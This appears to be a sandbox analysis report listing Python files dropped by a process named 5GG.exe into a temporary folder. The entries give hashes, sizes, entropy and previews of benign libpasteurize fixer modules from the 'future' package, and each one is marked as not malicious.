C:\Users\user\AppData\Local\Temp\_MEI73402\venv\Lib\site-packages\libpasteurize\fixes\fix_add_all_future_builtins.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	1269
Entropy (8bit):	4.312399948413903
Encrypted:	false
SSDEEP:	24:wLGWXyzhUnzPouXKMWm/8lNSQVA7Lb4lqGhT6zWXTzhJnzDV07xTCSuGY0bnKh69:zWCz4r5HuNSQVl1WzWDzPHV0NTyeKdaj
MD5:	1F8D1142483B9C852B06E6FA82445AEE
SHA1:	28A66C442A3B7800D079893174049039CB26280F
SHA-256:	B1C7E463E4B3E63D320ED2D896CD8434E72A10C3D5C5E0E6F6015860F20D3C1F
SHA-512:	F89F93D85AAFB353B002502D584B4D97BDD68FC38A191348E2D29BD1748E16A9FEE7574E2927C30A90562381BB050236434B329B7E9951DA81B0273A00AB9D51
Malicious:	false
Preview:	""".For the ``future`` package...Adds this import line::.. from builtins import (ascii, bytes, chr, dict, filter, hex, input,. int, list, map, next, object, oct, open, pow,. range, round, str, super, zip)..to a module, irrespective of whether each definition is used...Adds these imports after any other imports (in an initial block of them).."""..from __future__ import unicode_literals..from lib2to3 import fixer_base..from libfuturize.fixer_util import touch_import_top...class FixAddAllFutureBuiltins(fixer_base.BaseFix):. BM_compatible = True. PATTERN = "file_input". run_order = 1.. def transform(self, node, results):. # import_str = """(ascii, bytes, chr, dict, filter, hex, input,. # int, list, map, next, object, oct, open, pow,. # range, round, str, super, zip)""". touch_import_top(u'builtins', '*', node).. # builtins = """ascii bytes chr dict f

C:\Users\user\AppData\Local\Temp\_MEI73402\venv\Lib\site-packages\libpasteurize\fixes\fix_add_future_standard_library_import.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	663
Entropy (8bit):	4.774199780175893
Encrypted:	false
SSDEEP:	12:w0BxxO3iDg3t036MPUMoS9u8u4HlqrVT985eQ4oIqeDhzkwPoEMDKV0ZWjdavn:w13rt6lUymoQVZ6b4lqGhgsV0gjdkn
MD5:	55A353197EF7F64AE2FB3A931E30C489
SHA1:	0E251873B9EA6C09F28C6B09387326160BA738AF
SHA-256:	B614D16E4073CBF4898D9D1B26D793A74B014F1F16AFAF7115A907E2CB727FB6
SHA-512:	06A87730E1AA78C24A404DF6114FA988C61CA1EBA35B42171B4178C32C052936F290C3F77464D78E7B1D8B8CB10F417D5548FFECB677E81E80BB5385F7F683DD
Malicious:	false
Preview:	""".For the ``future`` package...Adds this import line:.. from future import standard_library..after any __future__ imports but before any other imports. Doesn't actually.change the imports to Py3 style.."""..from lib2to3 import fixer_base.from libfuturize.fixer_util import touch_import_top..class FixAddFutureStandardLibraryImport(fixer_base.BaseFix):. BM_compatible = True. PATTERN = "file_input". run_order = 8.. def transform(self, node, results):. # TODO: add a blank line between any __future__ imports and this?. touch_import_top(u'future', u'standard_library', node). # TODO: also add standard_library.install_hooks().

C:\Users\user\AppData\Local\Temp\_MEI73402\venv\Lib\site-packages\libpasteurize\fixes\fix_annotations.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	1581
Entropy (8bit):	4.3865318609994866
Encrypted:	false
SSDEEP:	24:TeIYXMyqmAWfatve+LPRa0eWufTyGnoVbAUoWJ3AIo7pAOsxvo7DAlsxN:qIdyzAW0e+jctnoVoWVAIo7wxvo7fxN
MD5:	F8E084FEDB9E57A14225B67B10710D35
SHA1:	EC523A017023D516072BCF73BE38C92ACA9FC4A8
SHA-256:	553FC0A2B298F40616619519D7BFC2794AC994403B54693054B0D09700F5071A
SHA-512:	40140F285411E7EBC2715672777AA147B95AE835F92555F46CECDEDCDD2F4A114AB1AF873DAA3BE6824E751C2D03617DDC440CC4477DEF5DEF614F5A85B7F726
Malicious:	false
Preview:	u""".Fixer to remove function annotations."""..from lib2to3 import fixer_base.from lib2to3.pgen2 import token.from lib2to3.fixer_util import syms..warning_text = u"Removing function annotations completely."..def param_without_annotations(node):. return node.children[0]..class FixAnnotations(fixer_base.BaseFix):.. warned = False.. def warn_once(self, node, reason):. if not self.warned:. self.warned = True. self.warning(node, reason=reason).. PATTERN = u""". funcdef< 'def' any parameters< '(' [params=any] ')' > ['->' ret=any] ':' any* >. """.. def transform(self, node, results):. u""". This just strips annotations from the funcdef completely.. """. params = results.get(u"params"). ret = results.get(u"ret"). if ret is not None:. assert ret.prev_sibling.type == token.RARROW, u"Invalid return annotation". self.warn_once(node, reason=warning_text).

C:\Users\user\AppData\Local\Temp\_MEI73402\venv\Lib\site-packages\libpasteurize\fixes\fix_division.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	904
Entropy (8bit):	4.400941401338103
Encrypted:	false
SSDEEP:	24:h8FBmcoibXCbqQT/osj7ho04noBjnoQz2FRmXqcftbaUJXnznS3Jwv:W7xoiLCbqQT/3j7hofnoBjnouicqc1bf
MD5:	6AAF10F0E44C43A305D766FE80CA2EC6
SHA1:	6B8E666D410E6CBF88E89E06F7B09883F21AA02B
SHA-256:	FD30FF7392A788062A126D753BB349174BF658485848D91119C286FFDE1939AB
SHA-512:	155FEF4C313A712447DDF1436375D6E741B43EF90FD4421390EB3E083FD7D4C3BB438DDC3B5A0F82DA7D5DF001662F2663B04D569C184690DA4336FBD73E17D5
Malicious:	false
Preview:	u""".Fixer for division: from __future__ import division if needed."""..from lib2to3 import fixer_base.from libfuturize.fixer_util import token, future_import..def match_division(node):. u""". __future__.division redefines the meaning of a single slash for division,. so we match that and only that.. """. slash = token.SLASH. return node.type == slash and not node.next_sibling.type == slash and \. not node.prev_sibling.type == slash..class FixDivision(fixer_base.BaseFix):. run_order = 4 # this seems to be ignored?.. def match(self, node):. u""". Since the tree needs to be fixed once and only once if and only if it. matches, then we can start discarding matches after we make the first.. """. return match_division(node).. def transform(self, node, results):. future_import(u"division", node).

C:\Users\user\AppData\Local\Temp\_MEI73402\venv\Lib\site-packages\libpasteurize\fixes\fix_features.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	2675
Entropy (8bit):	4.4258522277051835
Encrypted:	false
SSDEEP:	48:KrXeXKdYBtblogj2XK3caq62B7ILZwRlquFJU1mdAyzc4uqDqpNb:Kru66R2SmViwRlumdAyzm
MD5:	3FBD4AC4F3FA1DA895F7583597FA912E
SHA1:	4462790A50211BDA4429B9A08223D5FF41C27625
SHA-256:	3599F49F7E3F3186692CDC323F54DFE7584E88DE7C460EC0F2D03DA4AD52F3E7
SHA-512:	6F87D84A26DD72AFFB1C2A41A796C31737DEE38446D24D8C24639DF98B699E95AFB2CBCE67205BD41FFAC005FCFD56B63D4B0ED1958EF86F1DAC64943131A0C2
Malicious:	false
Preview:	u""".Warn about features that are not present in Python 2.5, giving a message that.points to the earliest version of Python 2.x (or 3.x, if none) that supports it."""..from .feature_base import Feature, Features.from lib2to3 import fixer_base..FEATURES = [. #(FeatureName,. # FeaturePattern,. # FeatureMinVersion,. #),. (u"memoryview",. u"power < 'memoryview' trailer < '(' any* ')' > any* >",. u"2.7",. ),. (u"numbers",. u"""import_from< 'from' 'numbers' 'import' any* > \|. import_name< 'import' ('numbers' dotted_as_names< any* 'numbers' any* >) >""",. u"2.6",. ),. (u"abc",. u"""import_name< 'import' ('abc' dotted_as_names< any* 'abc' any* >) > \|. import_from< 'from' 'abc' 'import' any* >""",. u"2.6",. ),. (u"io",. u"""import_name< 'import' ('io' dotted_as_names< any* 'io' any* >) > \|. import_from< 'from' 'io' 'import' any* >""",. u"2.6",. ),. (u"bin",. u"power< 'bin' trai

C:\Users\user\AppData\Local\Temp\_MEI73402\venv\Lib\site-packages\libpasteurize\fixes\fix_fullargspec.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	438
Entropy (8bit):	4.773343668339822
Encrypted:	false
SSDEEP:	12:xZ+ou8u4Gn9dDHUXuHER1yBZcX0Z+Y5eWqWDZGVJkwiAks22p:xotl9dDuu7qX0ZnHA837s22p
MD5:	1BD97059F70BC6ABC1792EA4AB7B0DF6
SHA1:	F43770BD58061DEDBF533193F1549FAF8BACD087
SHA-256:	56566E214E9036B0A5991BAF0B89AD2C808BDF23028BE45C1829D2F5F0F86FE4
SHA-512:	504709F58B8700AACBD963CF0298D9E271DD384A1FA0CF64D16F4131F8AE194893ECAC4E3B924DE315B88AC674329A11CF5310D5B3E5F4CA932A7164061EE81F
Malicious:	false
Preview:	u""".Fixer for getfullargspec -> getargspec."""..from lib2to3 import fixer_base.from lib2to3.fixer_util import Name..warn_msg = u"some of the values returned by getfullargspec are not valid in Python 2 and have no equivalent."..class FixFullargspec(fixer_base.BaseFix):.. PATTERN = u"'getfullargspec'".. def transform(self, node, results):. self.warning(node, warn_msg). return Name(u"getargspec", prefix=node.prefix).

C:\Users\user\AppData\Local\Temp\_MEI73402\venv\Lib\site-packages\libpasteurize\fixes\fix_future_builtins.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	1450
Entropy (8bit):	4.601815216210467
Encrypted:	false
SSDEEP:	24:FoWOBd8lNDEZUQVV9MPlIg8LO3RyiJiPmMDRCG7+ULb4lq4HwXLM7vG83WV0oMNz:/uduND8UQVV68ChV8tRCD/H8M8V0/
MD5:	EF7028DA4DB4C2D4F17E2F3E39B9E98C
SHA1:	4C1363B0A9658DB59137CD6DE96622E5E0141138
SHA-256:	4A508AF48F6ED399B5F4BAF5C31949C45F2DA19E72BB4C9705E0CBC5437DFDFC
SHA-512:	ADFDB0EEBAB9457A0707503C7F6B202CC9F5359092329EB45A820BD760DEFDEC3A149CA215A0D90441BC14A3DF3E96AD8B40C37B365A20A9386FB4DA8D93A93A
Malicious:	false
Preview:	""".Adds this import line:.. from builtins import XYZ..for each of the functions XYZ that is used in the module.."""..from __future__ import unicode_literals..from lib2to3 import fixer_base.from lib2to3.pygram import python_symbols as syms.from lib2to3.fixer_util import Name, Call, in_special_context..from libfuturize.fixer_util import touch_import_top..# All builtins are:.# from future.builtins.iterators import (filter, map, zip).# from future.builtins.misc import (ascii, chr, hex, input, isinstance, oct, open, round, super).# from future.types import (bytes, dict, int, range, str).# We don't need isinstance any more...replaced_builtins = '''filter map zip. ascii chr hex input next oct open round super. bytes dict int range str'''.split()..expression = '\|'.join(["name='{0}'".format(name) for name in replaced_builtins])...class FixFutureBuiltins(fixer_base.BaseFix):. BM_compatible = True. run_order = 9.. # Currently we

C:\Users\user\AppData\Local\Temp\_MEI73402\venv\Lib\site-packages\libpasteurize\fixes\fix_getcwd.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	873
Entropy (8bit):	4.459938505010933
Encrypted:	false
SSDEEP:	12:OELN6Lwu8u4Gt5eWqqhHo8yQ/kw4lwHAo3me05holBNcH7AsjagmorXwoevp:OEpaZphIoM1wN3KDovmbAqrXxSp
MD5:	8C12D36D1CA1639D5967FBE679A690D5
SHA1:	048E2CF134F2B67AF7724441FA64E605B851DEFA
SHA-256:	B9E6EF4EF15BA0BAAC44E142C1D9F3A0FE9387388CD2C933F530D71E825C16C4
SHA-512:	042B968DA337487F214B22A7810595C4EAFB6027D11439B219591A3E9103EF8E840DC72A23A944E068E6A50ADC0DA8961C2D3FB499384033BE6B4F5DB9932AD3
Malicious:	false
Preview:	u""".Fixer for os.getcwd() -> os.getcwdu()..Also warns about "from os import getcwd", suggesting the above form.."""..from lib2to3 import fixer_base.from lib2to3.fixer_util import Name..class FixGetcwd(fixer_base.BaseFix):.. PATTERN = u""". power< 'os' trailer< dot='.' name='getcwd' > any* >. \|. import_from< 'from' 'os' 'import' bad='getcwd' >. """.. def transform(self, node, results):. if u"name" in results:. name = results[u"name"]. name.replace(Name(u"getcwdu", prefix=name.prefix)). elif u"bad" in results:. # Can't convert to getcwdu and then expect to catch every use.. self.cannot_convert(node, u"import os, use os.getcwd() instead."). return. else:. raise ValueError(u"For some reason, the pattern matcher failed.").

C:\Users\user\AppData\Local\Temp\_MEI73402\venv\Lib\site-packages\libpasteurize\fixes\fix_imports.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	4944
Entropy (8bit):	4.701262993860776
Encrypted:	false
SSDEEP:	96:E4k8gIGRVLm0pEj6SW4fsSXavdnvH3HaohXbRsmoc3eqwJxZZZlXgCndocliJyKj:Pk8GLmMSBspdvHxLRxoaexZZZZfoOVc
MD5:	9A7AAF20707062A462B8565D2E4859AA
SHA1:	3F3D8114855AABDA152A2F58DC4755586D75F9B7
SHA-256:	538948B3FE57A75AAA33C98DEF689E0E4908762C802D9172099B110BC6665E53
SHA-512:	2337431D115572EAF394AB200BB8D77FC309C4D04F6718D4FFD5C83AAD7A0D8CEEC7BBEB82AD8D5B23ABE0C4205EDEA6A2CC96DA4FEC824D84161B27650AF861
Malicious:	false
Preview:	u""".Fixer for standard library imports renamed in Python 3."""..from lib2to3 import fixer_base.from lib2to3.fixer_util import Name, is_probably_builtin, Newline, does_tree_import.from lib2to3.pygram import python_symbols as syms.from lib2to3.pgen2 import token.from lib2to3.pytree import Node, Leaf..from libfuturize.fixer_util import touch_import_top.# from ..fixer_util import NameImport..# used in simple_mapping_to_pattern().MAPPING = {u"reprlib": u"repr",. u"winreg": u"_winreg",. u"configparser": u"ConfigParser",. u"copyreg": u"copy_reg",. u"queue": u"Queue",. u"socketserver": u"SocketServer",. u"_markupbase": u"markupbase",. u"test.support": u"test.test_support",. u"dbm.bsd": u"dbhash",. u"dbm.ndbm": u"dbm",. u"dbm.dumb": u"dumbdbm",. u"dbm.gnu": u"gdbm",. u"html.parser": u"HTMLParser",. u"html.entities": u"htmlentitydefs",. u"http.client": u"ht

C:\Users\user\AppData\Local\Temp\_MEI73402\venv\Lib\site-packages\libpasteurize\fixes\fix_imports2.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	8580
Entropy (8bit):	4.7425996180091134
Encrypted:	false
SSDEEP:	192:95r0HiQeAHITyHEmMD7WWgm7aMAiRzbTBi/RR5TDrUuimnX9Y:9hjWfoasTBi/RjIuimnX9Y
MD5:	23038545A58467A20C4B21C919A0BAF1
SHA1:	16E30426C9EC203CE642DE170EEDA371D15176E6
SHA-256:	6ECD95E58BF4BFFF312F1FA5363F6434400AD9D2D85D45E4676871102834D425
SHA-512:	93549EDFDA61376CB12E2755EF97C3DB7558CF55C8D253F11644BD7B207085F89B8E4B4F17D62917229BB3CD58F2FE683E4A6FA5B4B603D7AE9DF4EB358ACCA3
Malicious:	false
Preview:	u""".Fixer for complicated imports."""..from lib2to3 import fixer_base.from lib2to3.fixer_util import Name, String, FromImport, Newline, Comma.from libfuturize.fixer_util import touch_import_top...TK_BASE_NAMES = (u'ACTIVE', u'ALL', u'ANCHOR', u'ARC',u'BASELINE', u'BEVEL', u'BOTH',. u'BOTTOM', u'BROWSE', u'BUTT', u'CASCADE', u'CENTER', u'CHAR',. u'CHECKBUTTON', u'CHORD', u'COMMAND', u'CURRENT', u'DISABLED',. u'DOTBOX', u'E', u'END', u'EW', u'EXCEPTION', u'EXTENDED', u'FALSE',. u'FIRST', u'FLAT', u'GROOVE', u'HIDDEN', u'HORIZONTAL', u'INSERT',. u'INSIDE', u'LAST', u'LEFT', u'MITER', u'MOVETO', u'MULTIPLE', u'N',. u'NE', u'NO', u'NONE', u'NORMAL', u'NS', u'NSEW', u'NUMERIC', u'NW',. u'OFF', u'ON', u'OUTSIDE', u'PAGES', u'PIESLICE', u'PROJECTING',. u'RADIOBUTTON', u'RAISED', u'READABLE', u'RIDGE', u'RIGHT',. u'ROUND', u'S', u'SCROLL', u'SE', u'SEL

C:\Users\user\AppData\Local\Temp\_MEI73402\venv\Lib\site-packages\libpasteurize\fixes\fix_kwargs.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	5991
Entropy (8bit):	4.644342893262328
Encrypted:	false
SSDEEP:	96:XVhEBgclu1Bw6G7B1dDG7BvJ1XtyZHn2MHmYRrhT5TRTAbNRb+0LRR:FhEB96GhDGzyZH2MHm4r+b9
MD5:	AC2FB995B515A0FC3101F96C39A7319E
SHA1:	6360371148C4B8181A6A7B049F4301DDAD7F74E9
SHA-256:	341FC0A7C60993EF677282516CE88F63F54C22280581507C9BC02E636F430E11
SHA-512:	2531E1B48F087F143C3A2B02F3AD72BD8F6A5285A3BC6B34512FBD566F300A4DA16D5671BC1C1A700D50CCF02DA811B3130546AB4C2DA326C7CF56C6F15252E9
Malicious:	false
Preview:	u""".Fixer for Python 3 function parameter syntax.This fixer is rather sensitive to incorrect py3k syntax.."""..# Note: "relevant" parameters are parameters following the first STAR in the list...from lib2to3 import fixer_base.from lib2to3.fixer_util import token, String, Newline, Comma, Name.from libfuturize.fixer_util import indentation, suitify, DoubleStar.._assign_template = u"%(name)s = %(kwargs)s['%(name)s']; del %(kwargs)s['%(name)s']"._if_template = u"if '%(name)s' in %(kwargs)s: %(assign)s"._else_template = u"else: %(name)s = %(default)s"._kwargs_default_name = u"_3to2kwargs"..def gen_params(raw_params):. u""". Generator that yields tuples of (name, default_value) for each parameter in the list. If no default is given, then it is default_value is None (not Leaf(token.NAME, 'None')). """. assert raw_params[0].type == token.STAR and len(raw_params) > 2. curr_idx = 2 # the first place a keyword-only parameter name can be is index 2. max_idx = len(raw_params).

C:\Users\user\AppData\Local\Temp\_MEI73402\venv\Lib\site-packages\libpasteurize\fixes\fix_memoryview.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	551
Entropy (8bit):	4.66004123632878
Encrypted:	false
SSDEEP:	12:85uZmu8u4Gb5eAQEt+oqqhCgo4MdVkwSo3We05hFBn:6MvrQEY0UTC836DPn
MD5:	0DC057CBFD13AF423F32801224869011
SHA1:	ED3F332D985480ED46E3BFC77FAE7A975F1D4F00
SHA-256:	1706B2C7F7B3A6BDB6B5B274F90ACA749F85653A54FA6EF2EFC97587F378C717
SHA-512:	81BA1EB3D65C1EB5503BC3893E1FD4371BCE076AADB482E3D25A01BE6F82BAAEC5A09EE958601E95BA74B619730B676B76BF0C587691FC4AD36E3952288E4D5D
Malicious:	false
Preview:	u""".Fixer for memoryview(s) -> buffer(s)..Explicit because some memoryview methods are invalid on buffer objects.."""..from lib2to3 import fixer_base.from lib2to3.fixer_util import Name...class FixMemoryview(fixer_base.BaseFix):.. explicit = True # User must specify that they want this... PATTERN = u""". power< name='memoryview' trailer< '(' [any] ')' >. rest=any* >. """.. def transform(self, node, results):. name = results[u"name"]. name.replace(Name(u"buffer", prefix=name.prefix)).

C:\Users\user\AppData\Local\Temp\_MEI73402\venv\Lib\site-packages\libpasteurize\fixes\fix_metaclass.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	3260
Entropy (8bit):	4.084660079732553
Encrypted:	false
SSDEEP:	48:5grEXQZcPG7cC0ioXdVVopB3IcFXo9SQlzLbkAwkKI0qSo/9oRSri:5aZcIcCCXcB3RFnQlzLwJJJT
MD5:	A1872011CA8F6A7AC8292A7477EBE2C7
SHA1:	25EB22D1CFB1092AF53F17D572B4E2C384B31A62
SHA-256:	21C1362A36831BC8D44771585C40B3382FDCAF6A6BE6BF795B53536CCACAF167
SHA-512:	6A9A8CD047E8D2F2143A8E8495C7A8A946F62FFA86C477FDF093ECDB3167B299BEFAEB7F7D0AA808FDB0879E3F402DFF21FFE447EF3AEDB8029B36429D907CE4
Malicious:	false
Preview:	u""".Fixer for (metaclass=X) -> __metaclass__ = X.Some semantics (see PEP 3115) may be altered in the translation."""..from lib2to3 import fixer_base.from lib2to3.fixer_util import Name, syms, Node, Leaf, Newline, find_root.from lib2to3.pygram import token.from libfuturize.fixer_util import indentation, suitify.# from ..fixer_util import Name, syms, Node, Leaf, Newline, find_root, indentation, suitify..def has_metaclass(parent):. results = None. for node in parent.children:. kids = node.children. if node.type == syms.argument:. if kids[0] == Leaf(token.NAME, u"metaclass") and \. kids[1] == Leaf(token.EQUAL, u"=") and \. kids[2]:. #Hack to avoid "class X(=):" with this case.. results = [node] + kids. break. elif node.type == syms.arglist:. # Argument list... loop through it looking for:. # Node(, [, Leaf(token.NAME, u"metaclass"), Leaf(token.EQUAL, u"=

C:\Users\user\AppData\Local\Temp\_MEI73402\venv\Lib\site-packages\libpasteurize\fixes\fix_newstyle.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	888
Entropy (8bit):	4.785015391984808
Encrypted:	false
SSDEEP:	24:pkQElQVMXhp8hDxh2uaYLXxQE6B+NVrc5bx1jV0+v:uQIQVMYUx1jV0Q
MD5:	4007925D1057934B7E6BCFD713E3633E
SHA1:	EF763AB539081970F0DFF9C11BF30740D0334FB4
SHA-256:	EFCB1ACCA3879BD0D4A0CC96E1576F42931766189C6D7CE8AD53D1841A5252B3
SHA-512:	DFCF8F011E31F0CD6B5E6652C73487CFA579F9818F54B776DA0A484EFA6DC80B19D2F1B51A72F17036678586561FC81E8B08825D5167E437451D8120B66EA27D
Malicious:	false
Preview:	u""".Fixer for "class Foo: ..." -> "class Foo(object): ..."."""..from lib2to3 import fixer_base.from lib2to3.fixer_util import LParen, RParen, Name..from libfuturize.fixer_util import touch_import_top...def insert_object(node, idx):. node.insert_child(idx, RParen()). node.insert_child(idx, Name(u"object")). node.insert_child(idx, LParen())..class FixNewstyle(fixer_base.BaseFix):.. # Match:. # class Blah:. # and:. # class Blah():.. PATTERN = u"classdef< 'class' NAME ['(' ')'] colon=':' any >".. def transform(self, node, results):. colon = results[u"colon"]. idx = node.children.index(colon). if (node.children[idx-2].value == '(' and. node.children[idx-1].value == ')'):. del node.children[idx-2:idx]. idx -= 2. insert_object(node, idx). touch_import_top(u'builtins', 'object', node).

C:\Users\user\AppData\Local\Temp\_MEI73402\venv\Lib\site-packages\libpasteurize\fixes\fix_next.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	4.409888001514101
Encrypted:	false
SSDEEP:	24:gDIB9tIBqpEpl8tFINJGY6NaUbE5vesY6T3M1+YoJy+j/4OBf57wRHWDaRrTn:gD6tjpS8tG0N/beeiTQkTkxZtT
MD5:	B54EB5EDB8064096E4080952AD31274E
SHA1:	B38DCF7E8FF6A9A5E110275097DD32ACAAB099C4
SHA-256:	547A9CC8E451355A8A279D632753A4870C47B97460A7CA9A95DCAA70CBC0E09D
SHA-512:	9BB25B6E9F59E0CC98B10DF07801300D8094F4DE1EDFEFCB2D2C1A68FD78A1604C5FAA87F8C2C2E48F2EDFA5DA426C1648ABE182AD9858CA443A365FC82D4238
Malicious:	false
Preview:	u""".Fixer for:.it.__next__() -> it.next()..next(it) -> it.next().."""..from lib2to3.pgen2 import token.from lib2to3.pygram import python_symbols as syms.from lib2to3 import fixer_base.from lib2to3.fixer_util import Name, Call, find_binding, Attr..bind_warning = u"Calls to builtin next() possibly shadowed by global binding"...class FixNext(fixer_base.BaseFix):.. PATTERN = u""". power< base=any+ trailer< '.' attr='__next__' > any* >. \|. power< head='next' trailer< '(' arg=any ')' > any* >. \|. classdef< 'class' base=any+ ':'. suite< any. funcdef< 'def'. attr='__next__'. parameters< '(' NAME ')' > any+ >. any > >. """.. def transform(self, node, results):. assert results.. base = results.get(u"base"). attr = results.get(u"attr"). head = results.get(u"head"). arg_ = results.get(u"arg"). if arg_:. arg =

C:\Users\user\AppData\Local\Temp\_MEI73402\venv\Lib\site-packages\libpasteurize\fixes\fix_printfunction.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	401
Entropy (8bit):	4.55945628126944
Encrypted:	false
SSDEEP:	12:10djP1u8u4Hlq+b95ezQcQqqP4D7Vkw+J5v:ydKonbzwQzP0763J5v
MD5:	C9BA754559C6810E8E1F0DD2E9534E03
SHA1:	128847D701AA32C1CC44C4D37E76922EB040E658
SHA-256:	34321FA959942411B71FD13A9EB9CDD1C5992BC721F692F817E9CC7B176C6B7F
SHA-512:	40C6C04E30E9898AF8D1C213BF244AA76423854B1643ABC9F3ABC5609D6B258776BE798E91E1C09750038FA94FF51934D1A96417E583B8A00672EC3A99582676
Malicious:	false
Preview:	u""".Fixer for print: from __future__ import print_function.."""..from lib2to3 import fixer_base.from libfuturize.fixer_util import future_import..class FixPrintfunction(fixer_base.BaseFix):.. # explicit = True.. PATTERN = u""". power< 'print' trailer < '(' any* ')' > any* >. """.. def transform(self, node, results):. future_import(u"print_function", node).

C:\Users\user\AppData\Local\Temp\_MEI73402\venv\Lib\site-packages\libpasteurize\fixes\fix_raise.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	1099
Entropy (8bit):	4.6623961314396505
Encrypted:	false
SSDEEP:	24:Fw168CLXh7FpU/ZQm+Y4du7fxXOXSHPoRgIWIlFB5:8MhiZ5XWRgRIHz
MD5:	32DA6E281A59F24784C3B19345170908
SHA1:	8B9270C77DDB1E0C95591C478F1C99D544E65F16
SHA-256:	CD0FC070CB069826ED28C82BC5919C1CB60DB1CC3AB6A5C5BC743182AB4D6D4F
SHA-512:	A9ABF1141BB3A01B51F562CD525414F7E72954519E8DE3D4D79337DB80A2E604745AD41EA9C2B8E4034A60F919390A206E6614C1F1B298B06434CEB610A7419F
Malicious:	false
Preview:	u"""Fixer for 'raise E(V).with_traceback(T)' -> 'raise E, V, T'"""..from lib2to3 import fixer_base.from lib2to3.fixer_util import Comma, Node, Leaf, token, syms..class FixRaise(fixer_base.BaseFix):.. PATTERN = u""". raise_stmt< 'raise' (power< name=any [trailer< '(' val=any* ')' >]. [trailer< '.' 'with_traceback' > trailer< '(' trc=any ')' >] > \| any) ['from' chain=any] >""".. def transform(self, node, results):. name, val, trc = (results.get(u"name"), results.get(u"val"), results.get(u"trc")). chain = results.get(u"chain"). if chain is not None:. self.warning(node, u"explicit exception chaining is not supported in Python 2"). chain.prev_sibling.remove(). chain.remove(). if trc is not None:. val = val[0] if val else Leaf(token.NAME, u"None"). val.prefix = trc.prefix = u" ". kids = [Leaf(token.NAME, u"raise"), name.clone(), Comma(),. val.clone(), Comma(), trc.

C:\Users\user\AppData\Local\Temp\_MEI73402\venv\Lib\site-packages\libpasteurize\fixes\fix_raise_.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	1225
Entropy (8bit):	4.591116728290584
Encrypted:	false
SSDEEP:	24:4ZwIAx/CLXh7FpU/Ztm+Y4du7fxXOXSHPoRgIWIlFB5:G6MhiQ5XWRgRIHz
MD5:	1FCADE42C112C4BFA4DE1AFBCFBB0909
SHA1:	200FABA8DBF3434140AFF2DFEC6A81DC3DB45EC8
SHA-256:	F524E9EB7DDFAD47D80128D8CEA870C71FCC5DE3CD98C85F242968C118FC14B6
SHA-512:	0FE79A73DA8B8F9086E3CA2480CA5E9C6D4770E9AECDF743D348C6A6B0CEEF47EA906459CD335A319A1F4CFA347C603B7533A7B37E5A4DF3FA89A4A9D12BEAF6
Malicious:	false
Preview:	u"""Fixer for. raise E(V).with_traceback(T). to:. from future.utils import raise_. .... raise_(E, V, T)..TODO: FIXME!!.."""..from lib2to3 import fixer_base.from lib2to3.fixer_util import Comma, Node, Leaf, token, syms..class FixRaise(fixer_base.BaseFix):.. PATTERN = u""". raise_stmt< 'raise' (power< name=any [trailer< '(' val=any* ')' >]. [trailer< '.' 'with_traceback' > trailer< '(' trc=any ')' >] > \| any) ['from' chain=any] >""".. def transform(self, node, results):. FIXME. name, val, trc = (results.get(u"name"), results.get(u"val"), results.get(u"trc")). chain = results.get(u"chain"). if chain is not None:. self.warning(node, u"explicit exception chaining is not supported in Python 2"). chain.prev_sibling.remove(). chain.remove(). if trc is not None:. val = val[0] if val else Leaf(token.NAME, u"None"). val.prefix = trc.prefi

C:\Users\user\AppData\Local\Temp\_MEI73402\venv\Lib\site-packages\libpasteurize\fixes\fix_throw.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	835
Entropy (8bit):	4.843523636716573
Encrypted:	false
SSDEEP:	12:zUw8gBu8u4uBgEf3WGn5eWqyK+IfUF8IHU4YCykwdq+SL5jag4YHqX+hp1nsW:zUw1ibJK+iUF8qU/MV+SL5mn+X5
MD5:	C2B0148F096CDEDE8E6D7D7965027960
SHA1:	75837490D7A851610E50CFA1F4BFB4425E247A03
SHA-256:	FD944456B7BE5ADB54BE4E2C5A3AEA50DAA6F50D6E15A013102374FFE3D729B9
SHA-512:	ED15EBF5A78A2C1957F71FE62AA2384165DB06E6ECAE462D4867E5F7BE3D05B5C550E174C66E343351F7C3A9AFB005799A0FD245EBC7BA6FFF3321725839269D
Malicious:	false
